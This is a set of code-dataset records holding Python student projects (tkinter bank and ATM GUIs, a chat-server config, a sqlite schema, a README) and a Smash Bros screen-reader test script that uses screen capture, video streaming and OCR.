"7f3f096289865e30b38cc2e9b55317934208934a", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 363, "license_type": "permissive", "max_line_length": 34, "num_lines": 24, "path": "/py-basis/QQ简易版/server/memory.py", "repo_name": "binyoucai/BJ-Python-GP-1", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\n# -*- coding: utf-8 -*-\n\n\"\"\"\n@content : 服务器全局变量配置\n@Time : 2018/8/19 下午9:35\n@Author : 北冥神君\n@File : memory.py\n@Software: PyCharm\n\"\"\"\n\nfrom .DB_Handler import DB_Handler\n\n\n# {connect: (username, IP, PORT)}\nonline_user = {}\n\nserver_socket = None\n\nserver_socket_listener = None\n\ndb = DB_Handler()\n\nwindow = None\n" }, { "alpha_fraction": 0.41266557574272156, "alphanum_fraction": 0.45198675990104675, "avg_line_length": 33.01449203491211, "blob_id": "5a2cc6c3c416f211294880dff30cec1ed0ae8ef6", "content_id": "48edf02461dd9130344242b64db4288cc29fac9a", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5296, "license_type": "permissive", "max_line_length": 111, "num_lines": 138, "path": "/py-basis/各组银行系统带界面/第一组/tkinter银行系统/Views/view_win1.py", "repo_name": "binyoucai/BJ-Python-GP-1", "src_encoding": "UTF-8", "text": "# -*- coding:utf-8 -*-\r\nimport tkinter as tk\r\nimport tkinter.messagebox # 这个是消息框\r\nfrom Control.atm import ATM\r\nfrom Control.person import Person\r\nfrom Control.card import Card\r\nfrom Views.view_win2 import Operation\r\nfrom Views.view_win5 import Register\r\n\r\n'''\r\n程序主界面\r\n'''\r\n\r\nclass MyApp(tk.Tk):\r\n #初始化\r\n def __init__(self, db):\r\n super().__init__()\r\n self.title('欢迎进入银行系统')\r\n self.geometry(\"800x600+350+100\")\r\n\r\n # 页面参数\r\n self.db = db\r\n self.passwd_time = 0 # 输入密码的次数\r\n self.card_id = tk.Variable() # 输入的卡号\r\n self.passwd = tk.Variable() # 输入的密码\r\n self.temp_id = \"\" # 暂时存储卡号\r\n self.input_time = 3 # 密码输入次数\r\n self.type = \"密码\"\r\n per1 = None # 实例一个用户\r\n card1 = None # 实例一张卡\r\n\r\n self.photo = tkinter.PhotoImage(file=\"Views/Image/111.png\") # 背景路径\r\n self.photo1 = tk.PhotoImage(file=\"Views/Image/bg1.png\")\r\n\r\n # 程序界面\r\n self.setupUI()\r\n\r\n #点击登录按钮\r\n def func1(self):\r\n card_id = self.card_id.get()\r\n passwd = self.passwd.get()\r\n res = ATM.check_login(1, self.db, card_id, passwd)\r\n info = res.split(\":\")\r\n # print(info)\r\n if info[0] == \"1\":\r\n card1 = Card(info[1], info[2], info[3], info[4])\r\n operation = Operation(self, self.db, card1)\r\n operation.geometry(\"800x600+350+100\")\r\n self.wait_window(operation) # 等待子窗口执行\r\n else:\r\n tkinter.messagebox.showinfo(title='错误信息', message=res)\r\n\r\n #点击开户按钮\r\n def func2(self):\r\n self.type = \"密码:\"\r\n register = Register(self, self.db)\r\n register.geometry(\"300x370+770+150\")\r\n self.wait_window(register) # 等待子窗口执行\r\n\r\n #点击解锁按钮\r\n def func3(self):\r\n self.type = \"卡号:\"\r\n register = Register(self, self.db)\r\n register.geometry(\"300x370+770+150\")\r\n self.wait_window(register) # 等待子窗口执行\r\n\r\n #点击退出按钮\r\n def func4(self):\r\n self.destroy()\r\n\r\n #窗口主界面\r\n def setupUI(self):\r\n\r\n imgLabel = tkinter.Label(self,image=self.photo, width=800, height=600, compound=tkinter.CENTER,)\r\n imgLabel.place(x=0, y=0)\r\n\r\n card_text = tk.Label(self, text=\"卡号:\", fg=\"white\", font=(\"宋体\", 14),\r\n image=self.photo1, width=50, height=20, compound=tkinter.CENTER,)\r\n #卡号输入框\r\n card_id = tk.Entry(self, textvariable=self.card_id, fg=\"orange\", width=30, highlightcolor=\"red\", bd=5,)\r\n\r\n passwd_text = tk.Label(self, text=\"密码:\", fg=\"white\", font=(\"宋体\", 14),\r\n image=self.photo1, width=50, height=20, compound=tkinter.CENTER,)\r\n # 密码输入框\r\n passwd = tk.Entry(self, textvariable=self.passwd, fg=\"orange\", show=\"*\", width=30, bd=5)\r\n\r\n # 登录按钮\r\n button1 = tk.Button(self, text=\"登录系统\",\r\n command=self.func1, # 点击时执行的函数\r\n font=(\"宋体\", 14),\r\n image=self.photo1,\r\n width=205,\r\n height=40,\r\n compound=tkinter.CENTER,\r\n\r\n fg=\"white\", # 自身的颜色\r\n )\r\n # 注册按钮\r\n button2 = tk.Button(self, text=\"开户\",\r\n command=self.func2, # 点击时执行的函数\r\n font=(\"宋体\", 12),\r\n image=self.photo1,\r\n width=90,\r\n height=30,\r\n compound=tkinter.CENTER,\r\n\r\n fg=\"white\", # 自身的颜色\r\n )\r\n\r\n button3 = tk.Button(self, text=\"解锁\",\r\n command=self.func3, # 点击时执行的函数\r\n font=(\"宋体\", 12),\r\n image=self.photo1,\r\n width=90,\r\n height=30,\r\n compound=tkinter.CENTER,\r\n\r\n fg=\"white\", # 自身的颜色\r\n )\r\n button4 = tk.Button(self, text=\"退出\",\r\n command=self.func4, # 点击时执行的函数\r\n font=(\"宋体\", 12),\r\n image=self.photo1,\r\n width=90,\r\n height=30,\r\n compound=tkinter.CENTER,\r\n\r\n fg=\"white\", # 自身的颜色\r\n )\r\n\r\n card_text.place(x=420, y=170)\r\n passwd_text.place(x=420, y=240)\r\n card_id.place(x=490, y=170)\r\n passwd.place(x=490, y=240)\r\n button1.place(x=490, y=330)\r\n button3.place(x=530, y=490)\r\n button4.place(x=640, y=490)\r\n button2.place(x=420, y=490)\r\n" }, { "alpha_fraction": 0.5144312381744385, "alphanum_fraction": 0.525183916091919, "avg_line_length": 27.915254592895508, "blob_id": "d767bbd53775f61d3a5c5d9dc39b6b74468ef622", "content_id": "5ee13aec7aed1470fdbd7469aefdd01f2581d90d", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1833, "license_type": "permissive", "max_line_length": 95, "num_lines": 59, "path": "/py-basis/各组银行系统带界面/第二组/ATM/card.py", "repo_name": "binyoucai/BJ-Python-GP-1", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\r\n# -*- coding:utf-8 -*-\r\nimport hmac\r\nfrom random import randrange\r\nfrom bank import Bank\r\n\"\"\"\r\n卡\r\n类名:Card\r\n属性:卡号 密码 余额\r\n行为\r\n\"\"\"\r\n\r\n\r\nclass Card(object):\r\n card_id_list = {}\r\n bank = Bank()\r\n\r\n def __init__(self, passwd: int = None, card_number=None):\r\n if card_number is None:\r\n self.card_number = self.bank.get_empty_card_number()\r\n self.card_id_list[self.card_number] = self.hash(self.card_number, passwd)\r\n self.balance = 0\r\n self.state = \"normal\" # \"frozen\"\r\n self.bank.register(\"card_data.txt\",\r\n card_number=self.card_number,\r\n card_id=self.card_id_list[self.card_number],\r\n balance=self.balance,\r\n state=self.state)\r\n else:\r\n c, i = self.bank.find_card(card_number)\r\n self.card_number = c[\"card_number\"]\r\n self.card_id_list[self.card_number] = c[\"card_id\"]\r\n self.balance = c[\"balance\"]\r\n self.state = c[\"state\"]\r\n\r\n def change_password(self, new_password):\r\n self.card_id_list[self.card_number] = self.hash(self.card_number, new_password)\r\n pass\r\n\r\n # @property\r\n # def balance(self):\r\n # return self.__balance\r\n #\r\n # @balance.setter\r\n # def balance(self, value):\r\n # # 身份检查,防止用户自行修改卡上的余额\r\n # self.__balance = value\r\n\r\n @staticmethod\r\n def hash(id_: int, password: int):\r\n h = hmac.new(str(password).encode(\"UTF-8\"), str(id_).encode(\"UTF-8\"), digestmod=\"SHA1\")\r\n return h.hexdigest()\r\n\r\n pass\r\n\r\n\r\nif __name__ == '__main__':\r\n card = Card(666666, 10000000)\r\n print(card.balance, card.balance)\r\n\r\n" }, { "alpha_fraction": 0.4967971444129944, "alphanum_fraction": 0.5262159109115601, "avg_line_length": 26.78767204284668, "blob_id": "03e246c24696b9932199d2f9ecbaf79bfbbf35a5", "content_id": "f937b3d850d4cc6f4b68cccea1a608c2009a19ff", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4467, "license_type": "permissive", "max_line_length": 150, "num_lines": 146, "path": "/py-basis/各组银行系统带界面/第六组/atmInitView.py", "repo_name": "binyoucai/BJ-Python-GP-1", "src_encoding": "UTF-8", "text": "import tkinter as tk\r\nfrom tkinter import Frame,Label,W,E,Button,LEFT,RIGHT,BOTH,YES,NO,TOP\r\nfrom atm import ATM\r\nfrom tkinter import *\r\nimport rootView,optionsView\r\n\r\n\r\n'''松耦合'''\r\natm = ATM()\r\n# 弹窗\r\nclass MyDialog(tk.Toplevel):\r\n def __init__(self):\r\n super().__init__()\r\n self.title('管理员登录')\r\n self.isLogin = 0\r\n # 弹窗界面\r\n def rootlogin(self):\r\n # 第一行(两列)\r\n self.geometry(\"450x200+725+350\")\r\n row1 = tk.Frame(self)\r\n self.tip = tk.StringVar()\r\n\r\n row1.pack(side= TOP, pady = 20)\r\n Label(row1, textvariable=self.tip, font=(\"宋体\", 10), width=30).pack(side=TOP)\r\n Label(row1, text='管理员帐号:', font=(\"宋体\", 10), width=10).pack(side=tk.LEFT,pady = 5)\r\n self.name = tk.StringVar()\r\n tk.Entry(row1, textvariable=self.name, width=20).pack(side=tk.LEFT)\r\n # 第二行\r\n row2 = tk.Frame(self)\r\n row2.pack(side= TOP)\r\n tk.Label(row2, text='管理员密码:', font=(\"宋体\", 10), width=10).pack(side=tk.LEFT)\r\n self.passwd = tk.StringVar()\r\n tk.Entry(row2, textvariable=self.passwd, width=20,show=\"*\").pack(side=tk.LEFT)\r\n # 第三行\r\n row3 = tk.Frame(self)\r\n row3.pack( side= TOP, pady = 20)\r\n tk.Button(row3, text=\"取消\", width=10, command=self.cancel).pack(side=tk.RIGHT,padx= 20)\r\n tk.Button(row3, text=\"确定\", width=10, command=self.ok).pack(side=tk.LEFT,padx = 40)\r\n\r\n def ok(self):\r\n atm = ATM()\r\n # print(self.passwd,self.name,atm.passwd,atm.account)\r\n if self.passwd.get() != atm.passwd or self.name.get() != atm.account:\r\n self.tip.set(\"账号或密码错误!请重新输入\")\r\n self.name.set(\"\")\r\n self.passwd.set(\"\")\r\n else:\r\n self.destroy() # 销毁窗口\r\n self.isLogin = self.passwd.get()\r\n\r\n\r\n def cancel(self):\r\n self.destroy()\r\n\r\n\r\n# 主窗\r\n\r\nclass ATMInitView(tk.Tk):\r\n def __init__(self):\r\n super().__init__()\r\n def setupATMInitView(self):\r\n # self.pack() # 若继承 tk.Frame ,此句必须有!\r\n self.title('ATM开机界面')\r\n self.geometry(\"900x600+500+150\")\r\n\r\n\r\n # 程序参数/数据\r\n\r\n self.resizable(width=False, height=False)\r\n\r\n\r\n fm1 = Frame(self)\r\n fm2 = Frame(self)\r\n fm3 = Frame(self)\r\n\r\n\r\n\r\n\r\n button_image_gif1 = PhotoImage(file=\"管理员登录按钮.gif\")\r\n Button(fm1, text='管理', font=(\"宋体\", 10),image=button_image_gif1, width=140, height=28, command=self.setup_config).pack(side=TOP, anchor=W,\r\n expand=NO)\r\n fm1.pack(side=LEFT, fill=BOTH, expand=YES, pady=250)\r\n\r\n Label(fm3, text=self.bug, font=(\"宋体\", 15), width=50).pack(side=TOP, pady=30)\r\n Label(fm3, text=\"佛系编程,永无BUG\", font=(\"宋体\", 20), width=30, height=10).pack(side=TOP, expand=NO)\r\n fm3.pack(side=LEFT, fill=BOTH, expand=NO)\r\n\r\n button_image_gif2 = PhotoImage(file=\"普通用户登录按钮.gif\")\r\n Button(fm2, text='普通', font=(\"宋体\", 10), image=button_image_gif2,width=140, height=28,command=self.enterOpView).pack(side=TOP, anchor=E, expand=NO)\r\n\r\n fm2.pack(side=RIGHT, fill=BOTH, expand=YES, pady=250)\r\n self.mainloop()\r\n\r\n\r\n # 设置参数\r\n def setup_config(self):\r\n res = self.backsetup_config()\r\n # print(\"*********\",res)\r\n if res:\r\n self.quit()\r\n self.destroy()\r\n # rView = rootView.RootView()\r\n rLView = rootView.RootLoginView()\r\n rLView.setupRootLoginUI()\r\n\r\n def backsetup_config(self):\r\n myDialog = MyDialog()\r\n myDialog.rootlogin()\r\n self.wait_window(myDialog)\r\n return myDialog.isLogin\r\n\r\n def enterOpView(self):\r\n self.quit()\r\n self.destroy()\r\n opView = optionsView.OptionsView()\r\n opView.setupOptionsView()\r\n bug =r'''\r\n _ooOoo_ \r\n o8888888o \r\n 88\" . \"88 \r\n (| -_- |) \r\n O\\ = /O \r\n ____/`---'\\____ \r\n .' \\\\| |// `. \r\n / \\\\||| : |||// \\ \r\n / _||||| -:- |||||- \\ \r\n | | \\\\\\ - /// | | \r\n | \\_| ''\\---/'' |_/ | \r\n \\ .-\\__ `-` ___/-. / \r\n ___`. .' /--.--\\ `. . __ \r\n .\"\" '< `.___\\_<|>_/___.' >'\"\". \r\n | | : `- \\`.;`\\ _ /`;.`/ - `: | | \r\n \\ \\ `-. \\_ __\\ /__ _/ .-` / / \r\n ======`-.____`-.___\\_____/___.-`____.-'====== \r\n `=---=' \r\n '''\r\n\r\n# if __name__ == '__main__':\r\n# app = ATMInitView()\r\n# app.mainloop()\r\n# try:\r\n# app.destroy()\r\n# except:\r\n# print(\"atm Exce\")\r\n# app = ATMInitView()\r\n# app.setupATMInitView()\r\n\r\n\r\n\r\n\r\n\r\n\r\n" }, { "alpha_fraction": 0.5843478441238403, "alphanum_fraction": 0.6017391085624695, "avg_line_length": 16.483871459960938, "blob_id": "0137402b6de47ea154239213bc632bb3c1bb9412", "content_id": "bed2d73ef35244a0346196bae543d92c2480ddd0", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 673, "license_type": "permissive", "max_line_length": 40, "num_lines": 31, "path": "/py-basis/各组银行系统带界面/第二组/ATM/exsamples/test2.py", "repo_name": "binyoucai/BJ-Python-GP-1", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\r\n# -*- coding:utf-8 -*-\r\n\r\n\"\"\"\r\nprogram name :\r\nlast modification time :\r\nchangelog :\r\n\"\"\"\r\nimport tkinter # 导入tkinter包\r\nfrom tkinter import ttk\r\nwin = tkinter.Tk() # 创建一个窗体\r\nwin.title(\"theodore\")\r\nwin.geometry(\"400x400+0+0\")\r\n\r\ncv = tkinter.StringVar()\r\ncom = ttk.Combobox(win, textvariable=cv)\r\ncom.pack()\r\n# 设置下拉数据\r\ncom[\"value\"] = (\"黑龙江\", \"吉林\", \"辽宁\")\r\n# 设置默认值\r\ncom.current(0)\r\n# 绑定事件\r\n\r\n\r\ndef func(event):\r\n print(\"good\", com.get(), cv.get())\r\n\r\n\r\ncom.bind(\"<<ComboboxSelected>>\", func)\r\n\r\nwin.mainloop() # 这一步是保存窗口开启的状态,消息循环\r\n\r\n" }, { "alpha_fraction": 0.4826589524745941, "alphanum_fraction": 0.5096338987350464, "avg_line_length": 24.66666603088379, "blob_id": "4fffb7d53b05cfd6738932c6553974db23b7a408", "content_id": "c4a391578fe7b2a2186b87be2212b49ec4e4a0b2", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1120, "license_type": "permissive", "max_line_length": 78, "num_lines": 39, "path": "/py-basis/各组银行系统带界面/第一组/tkinter银行系统/Model/sqlite_datas.py", "repo_name": "binyoucai/BJ-Python-GP-1", "src_encoding": "UTF-8", "text": "# -*- coding:utf-8 -*-\r\nimport sqlite3\r\n\r\nconn = sqlite3.connect('bank.db') #默认创建在当前目录\r\nc = conn.cursor()\r\n\r\n#创建用户信息表\r\nc.execute('''CREATE TABLE user\r\n (id INTEGER PRIMARY KEY NOT NULL,\r\n name VARCHAR(20) NOT NULL,\r\n Idcard CHAR(18) NOT NULL,\r\n tel CHAR(11) NOT NULL);''')\r\n\r\n\r\n#创建银行卡信息表\r\nc.execute('''CREATE TABLE card\r\n (id INTEGER PRIMARY KEY NOT NULL,\r\n passwd VARCHAR(20) NOT NULL,\r\n money int NOT NULL,\r\n status int DEFAULT 3);''')\r\n\r\n\r\n#创建操作日志表\r\nc.execute('''CREATE TABLE loginfo\r\n (id INTEGER PRIMARY KEY NOT NULL,\r\n cardId int NOT NULL,\r\n type int NOT NULL,\r\n money int NOT NULL,\r\n insert_time datetime DEFAULT (datetime('now','localtime')));''')\r\n\r\n\r\n# #插入测试数据\r\nc.execute(\"INSERT INTO card (id,passwd,money) \\\r\n VALUES ('100000', 123456,1000)\")\r\nconn.commit()\r\n\r\n\r\nprint(\"执行完成\")\r\nconn.close()" }, { "alpha_fraction": 0.25507068634033203, "alphanum_fraction": 0.2618315815925598, "avg_line_length": 34.30434799194336, "blob_id": "15dd5ef7a6248e1ab316bf37974893986daea261", "content_id": "96bcc84ab38dc07a3d39bf564747fa375f85d351", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1867, "license_type": "permissive", "max_line_length": 250, "num_lines": 46, "path": "/py-data/README.md", "repo_name": "binyoucai/BJ-Python-GP-1", "src_encoding": "UTF-8", "text": "\n[![Open Source Love](https://badges.frapsoft.com/os/v1/open-source.svg?v=103)](https://github.com/ellerbrock/open-source-badge/) [![MIT Licence](https://badges.frapsoft.com/os/mit/mit.svg?v=103)](https://opensource.org/licenses/mit-license.php) \n# 代码上一篇满满的都是回忆,Git带你回到过去和未来\n\n![demo](other/demo.gif)\n\n```\n ____ _ _____ _ _ _____ _____ __ \n | _ \\ | | | __ \\ | | | | / ____| | __ \\ /_ |\n | |_) | | | ______ | |__) | _ _ | |_ | |__ ___ _ __ ______ | | __ | |__) | ______ | |\n | _ < _ | | |______| | ___/ | | | | | __| | '_ \\ / _ \\ | '_ \\ |______| | | |_ | | ___/ |______| | |\n | |_) | | |__| | | | | |_| | | |_ | | | | | (_) | | | | | | |__| | | | | |\n |____/ \\____/ |_| \\__, | \\__| |_| |_| \\___/ |_| |_| \\_____| |_| |_|\n __/ | \n |___/ \n```\n\n\n\n\n\n1. **[分支描述]**:四个分支对应四个方向,之所以创建各个分支,为了主要为了练手git。\n\n* [x] 主分支(master)分别包括下面四个分支\n* [x] python-基础(py-basis)\n* [x] python-web(py-web)\n* [x] python-爬虫(py-crawler)\n* [x] python-数据分析(py-data) \n\n\n\n2. **[项目结构]**:每个目录对应每个方向\n\n\n```\n├── README.md\n├── other\n│   └── demo.gif\n├── py-basis\n├── py-crawler\n├── py-data\n└── py-web\n```\n\n3. **[开发环境]**:\n * [x] python3\n * [x] pycharm\n\n\n" } ]
106
badgerlordy/smash-bros-reader
https://github.com/badgerlordy/smash-bros-reader
314929532f463381117fb180cabac5ba1c85616e
3988cfcb870df229dc438484886cdc5a2264f8a3
fcc37e4840e860817f8ff4398c0b408c2b257702
refs/heads/master
2022-12-26T18:40:56.601751
2020-09-24T21:34:39
2020-09-24T21:34:39
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5701985955238342, "alphanum_fraction": 0.590912938117981, "avg_line_length": 25.66136360168457, "blob_id": "e919dbe83784ca9ba9ddb510056c9c2b11bf09a7", "content_id": "b5a53aeb6f53bfa901ce893a0a01bdd969dc771b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 11731, "license_type": "no_license", "max_line_length": 108, "num_lines": 440, "path": "/smash_reader/tests.py", "repo_name": "badgerlordy/smash-bros-reader", "src_encoding": "UTF-8", "text": "import argparse\nimport cv2\nimport difflib\nimport json\nimport matplotlib.pyplot as plt\nimport mss\nimport numpy as np\nimport os\nimport re\nimport requests\nimport select\nimport smash_game\nimport smash_utility as ut\nimport socket\nimport struct\nimport threading\n\nfrom queue import Empty, Queue\n\n#from matplotlib import pyplot as plt\nfrom PIL import Image, ImageChops, ImageDraw\n\n\nBASE_DIR = os.path.realpath(os.path.dirname(__file__))\nCAPTURES_DIR = os.path.join(BASE_DIR, 'captures')\nif not os.path.isdir(CAPTURES_DIR):\n os.mkdir(CAPTURES_DIR)\n\n\ndef post_fake(data={'mode': 1, 'game': {'players': []}}):\n ut.post_data(data)\n\n\ndef test_pixel():\n img = Image.open('1560221662.467294.png')\n img = ut.filter_color2(img, (0, 10))\n p = plt.imshow(img)\n plt.show()\n\n\ndef test_stencil():\n img = Image.open('1560219739.917792.png')\n ut.stencil(img)\n\n\ndef test_game_data():\n with open('game_state.json', 'r') as infile:\n game = json.load(infile)\n ut.filter_game_data(game, 1)\n\n\ndef req(message='No message'):\n URL = 'http://localhost:8000/reader_info/'\n DATA = {\n 'secret_code': 'Mj76uiJ*(967%GVr57UNJ*^gBVD#W4gJ)ioM^)',\n 'data': message\n }\n r = requests.post(url = URL, json = DATA)\n return r\n\n\nclass KeyThread(threading.Thread):\n def __init__(self, *args, **kwargs):\n super().__init__()\n\n self.key = keyboard.KeyCode(char='g')\n\n\n def run(self):\n with keyboard.Listener(on_press=self.on_press) as listener:\n listener.join()\n\n\n def on_press(self, key):\n if key == self.key:\n print('test')\n\n\ndef start_key_thread():\n thread = KeyThread()\n thread.daemon = True\n thread.start()\n\n\n\ndef fight_tester():\n captures = os.listdir(CAPTURES_DIR)\n get_fight_num = lambda f: re.match('\\d+', f).group()\n fight_nums = list({get_fight_num(f) for f in captures})\n fight_nums.sort(key=lambda n: int(n))\n # n = fight_nums[int(random.random() * len(fight_nums))]\n # n = '0001'\n modes = {}\n for i, n in enumerate(fight_nums[16:]):\n print(f'{\"*\" * 80}\\n{n}')\n card_screen = Image.open(os.path.join(CAPTURES_DIR, n + '.2.LOBBY_CARDS.png'))\n fight_start_screen = Image.open(os.path.join(CAPTURES_DIR, n + '.3.FIGHT_START.png'))\n # fight_end_screen = Image.open(os.path.join(CAPTURES_DIR, n + '.4.FIGHT_END.png'))\n # try:\n # fight_results_screen = Image.open(os.path.join(CAPTURES_DIR, n + '.5.FIGHT_RESULTS_SOLO.png'))\n # except FileNotFoundError:\n # fight_results_screen = Image.open(os.path.join(CAPTURES_DIR, n + '.5.FIGHT_RESULTS_TEAM.png'))\n\n\n game = smash_game.Game(1)\n game.read_card_screen(card_screen)\n if game.mode in modes:\n modes[game.mode].append(i)\n else:\n modes[game.mode] = [i]\n break\n for mode in modes:\n print(f'{mode}: {modes[mode]}')\n game.read_start_screen(fight_start_screen)\n print(game.serialize(images_bool=False))\n # game.fix_colors(fight_start_screen)\n # game.read_end_screen(fight_end_screen)\n # game.read_results_screen(fight_results_screen)\n # print(str(game))\n # with open('game.json', 'w+') as outfile:\n # json.dump(game.serialize(), outfile, separators=(',',':'))\n\n\ndef crop_char_lobby():\n cap = ut.capture_screen()\n game = smash_game.Game(1)\n game.player_count = 4\n game.read_cards(cap)\n\n\ndef crop_char_game():\n cap = ut.capture_screen()\n game = smash_game.Game(1)\n game.player_count = 3\n name_images = game.get_character_name_game(cap)\n for img in name_images:\n bw, _ = ut.convert_to_bw(img)\n name_as_read = ut.read_image(bw).lower()\n name = difflib.get_close_matches(name_as_read, smash_game.CHARACTER_NAMES, n=1)\n print(name)\n\n\ndef filter():\n plt.ion()\n while True:\n cap = ut.capture_screen()\n img = ut.filter_color(cap, [236, 236, 236])\n plt.imshow(img)\n plt.pause(0.001)\n plt.show()\n\n\ndef cropper(coord_name, name=None):\n coords = ut.COORDS['FINAL'][coord_name]\n capture = ut.capture_screen()\n crop = capture.crop(coords)\n if name:\n crop.save(f'{name}.png')\n else:\n return np.asarray(crop)\n # crop.show()\n\n\ndef capture_screen():\n with mss.mss() as sct:\n # Get rid of the first, as it represents the \"All in One\" monitor:\n #for num, monitor in enumerate(sct.monitors[1:], 1):\n monitor = sct.monitors[1]\n # Get raw pixels from the screen\n sct_img = sct.grab(monitor)\n\n # Create the Image\n img = Image.frombytes('RGB', sct_img.size, sct_img.bgra, 'raw', 'BGRX')\n # The same, but less efficient:\n # img = Image.frombytes('RGB', sct_img.size, sct_img.rgb)\n num = 0\n name = os.path.join(home, 'screens', f'{num}.png')\n while os.path.isfile(name):\n num += 1\n name = os.path.join(home, 'screens', f'{num}.png')\n return img\n\n\ndef get_stream():\n port = 9999 # where do you expect to get a msg?\n bufferSize = 2048 # whatever you need\n\n s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n s.bind(('', port))\n s.setblocking(0)\n\n if True:\n result = select.select([s],[],[])\n msg = result[0][0].recv(bufferSize)\n print(msg)\n\n cap = ImageGrab.grab()\n\n cv2.imdecode(cap, flags=1)\n\n\ndef get_stream2():\n HOST = ''\n PORT = 9999\n\n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n print('Socket created')\n\n s.bind((HOST, PORT))\n print('Socket bind complete')\n\n s.listen(10)\n print('Socket now listening')\n\n conn, addr = s.accept()\n\n while True:\n data = conn.recv(8192)\n nparr = np.fromstring(data, np.uint8)\n frame = cv2.imdecode(nparr, cv2.IMREAD_COLOR)\n cv2.imshow('frame', frame)\n time.sleep(2)\n\n\ndef get_stream3():\n MCAST_GRP = '224.1.1.1'\n MCAST_PORT = 9999\n IS_ALL_GROUPS = True\n\n sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)\n sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n if IS_ALL_GROUPS:\n # on this port, receives ALL multicast groups\n sock.bind(('', MCAST_PORT))\n else:\n # on this port, listen ONLY to MCAST_GRP\n sock.bind((MCAST_GRP, MCAST_PORT))\n mreq = struct.pack(\"4sl\", socket.inet_aton(MCAST_GRP), socket.INADDR_ANY)\n\n sock.setsockopt(socket.IPPROTO_IP, socket.IP_ADD_MEMBERSHIP, mreq)\n\n while True:\n print(sock.recv(10240))\n\n\ndef get_stream_data(main_queue, image_queue):\n print('Getting stream data')\n cap = cv2.VideoCapture('udp://224.0.0.1:2424', cv2.CAP_FFMPEG)\n print(cap)\n if not cap.isOpened():\n print('VideoCapture not opened')\n exit(-1)\n x = 0\n while True:\n print('cap')\n image_queue.put(cap)\n print('put')\n item = get_queue(main_queue)\n if item == 'end':\n break\n\n\n cap.release()\n cv2.destroyAllWindows()\n\n\ndef convert_to_bw(pil_img, threshold=127):\n cv_img = np.array(pil_img)\n img_gray = cv2.cvtColor(cv_img, cv2.COLOR_BGR2GRAY)\n thresh, array_bw = cv2.threshold(img_gray, threshold, 255, cv2.THRESH_BINARY_INV)\n pil_bw = Image.fromarray(array_bw)\n return pil_bw, array_bw\n\n\ndef compare():\n imgs = os.listdir(os.path.join(home, 'flags'))\n [print(f'{str(i+1).rjust(2)}. {img}') for i, img in enumerate(imgs)]\n\n #x = 0\n while True:\n first = int(input('one>: '))\n img1 = Image.open(os.path.join(home, 'flags', imgs[first-1]))\n print(img1)\n\n second = int(input('two>: '))\n img2 = Image.open(os.path.join(home, 'flags', imgs[second-1]))\n print(img2)\n\n #small, large = sorted([img1, img2], key=lambda img: img.size[0])\n\n copy1 = img1.resize((64, 64))\n copy2 = img2.resize((64, 64))\n\n bw1, arr1 = convert_to_bw(copy1)\n bw2, arr2 = convert_to_bw(copy2)\n\n diff = ImageChops.difference(bw1, bw2)\n diff.show()\n arr = np.asarray(diff)\n total = 0\n different = 0\n for row in arr:\n for pixel in row:\n total += 1\n if pixel == 255:\n different += 1\n sim = ((1 - (different/total)) * 100)\n print(sim)\n if sim < 98:\n print('different flag')\n else:\n print('same flag')\n\n #diff.save(f'diff-{x}.jpg')\n #x += 1\n\n\ndef get_queue(queue):\n try:\n item = queue.get(block=False)\n return item\n except Empty:\n return None\n\n\nclass ImageProcessingThread(threading.Thread):\n def __init__(self, main_queue, queue):\n super().__init__()\n\n self.queue = queue\n self.main_queue = main_queue\n\n self.x = 0\n\n print('Image processing thread started')\n\n\n def run(self):\n while True:\n cap = get_queue(self.queue)\n if cap:\n self.process_frame(cap)\n\n\n def process_frame(self, cap):\n ret, frame = cap.read()\n\n if not ret:\n print('frame empty')\n main_queue.put('end')\n\n flipped = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB)\n\n img = Image.fromarray(flipped)\n img.save(os.path.join('test', f'{self.x}.jpg'))\n self.x += 1\n #cv2.imshow('image', frame)\n\n if cv2.waitKey(1)&0XFF == ord('q'):\n main_queue.put('end')\n pass\n\n\ndef thread_test():\n main_queue = Queue()\n processing_queue = Queue()\n\n processing_thread = ImageProcessingThread(main_queue, processing_queue)\n processing_thread.daemon = True\n processing_thread.start()\n\n print('test')\n\n get_stream_data(main_queue, processing_queue)\n\n\ndef ocr_test():\n # construct the argument parse and parse the arguments\n ap = argparse.ArgumentParser()\n ap.add_argument(\"-i\", \"--image\", required=True,\n \thelp=\"path to input image to be OCR'd\")\n ap.add_argument(\"-p\", \"--preprocess\", type=str, default=\"thresh\",\n \thelp=\"type of preprocessing to be done\")\n args = vars(ap.parse_args())\n\n # load the example image and convert it to grayscale\n image = cv2.imread(args[\"image\"])\n gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\n\n # check to see if we should apply thresholding to preprocess the\n # image\n if args[\"preprocess\"] == \"thresh\":\n \tgray = cv2.threshold(gray, 0, 255,\n \t\tcv2.THRESH_BINARY | cv2.THRESH_OTSU)[1]\n\n # make a check to see if median blurring should be done to remove\n # noise\n elif args[\"preprocess\"] == \"blur\":\n \tgray = cv2.medianBlur(gray, 3)\n\n # write the grayscale image to disk as a temporary file so we can\n # apply OCR to it\n #filename = \"{}.png\".format(os.getpid())\n #cv2.imwrite(filename, gray)\n\n pil_gray = Image.fromarray(gray)\n\n # load the image as a PIL/Pillow image, apply OCR, and then delete\n # the temporary file\n text = pytesseract.image_to_string(pil_gray)\n #os.remove(filename)\n print(text)\n\n # show the output images\n cv2.imshow(\"Image\", image)\n cv2.imshow(\"Output\", gray)\n 